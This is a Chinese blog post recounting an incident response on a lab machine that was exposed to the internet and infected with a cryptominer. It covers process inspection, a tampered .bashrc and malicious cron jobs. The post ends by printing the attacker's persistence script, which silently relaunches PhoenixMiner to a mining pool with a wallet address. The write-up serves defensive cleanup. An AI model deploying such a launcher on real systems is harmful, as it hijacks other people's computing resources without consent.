记一次 挖矿程序入侵和处理

为了方便远程使用，师弟把实验室的电脑映射的公网上，结果被植入了挖矿程序

 

 挖矿软件是这个，因为已经被清理掉了，所以看不到运行了，不然的话，使用 nvidia-smi 命令可以看到这个挖矿程序在工作。

 

 然后进入到这个进程中， cd /proc/$PID , 查看它的信息

首先查看所有文件，可以看到挖矿程序被放到这个位置

 

 通过  cat status  可以查看进程信息

 

 其中PPID标识了进程的父类信息，这里我是在复现，所以父进程是4168，原本父进程是 2

然后把父进程杀死，把挖矿进程杀死，杀死挖矿程序。结果过一会挖矿程序又出现了，推测有定时执行任务，并且重启也不行。

首先查看开机自启脚本是否正常

vim /etc/rc.local

 

 这个文件是正常的，说明不是放到这的。

然后检查root账户的  .bashrc 文件

vim ~/.bashrc

 

 里面只有这么几行，这个明显是屏蔽掉了删除命令。切换到root账户，发现很多命令都被屏蔽掉了，那么肯定是出问题，但是这个文件又没有

运行挖矿程序。考虑定时任务,查看是否设置了crontab

ps -aux | grep crontab

发现果然存在定时任务，然后查看一下定时任务

crontab -e

 

可以看到这几个奇怪的任务，这里我给注释掉了

然后到 /var/tmp/.tmp/下看这几个文件

#!/bin/bash
m1lbe1()
{
if ! pgrep -x PhoenixMiner >/dev/null
then
        cd /var/tmp/.tmp/PhoenixMiner
        ./PhoenixMiner -pool ssl://eth-asia1.nanopool.org:9433 -wal 0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8.sclipiciNR1/sclipicinr1@gmail.com >/dev/null 2>&1 & disown $*
else
        exit;
fi
}
m1lbe1

.b4nd1d0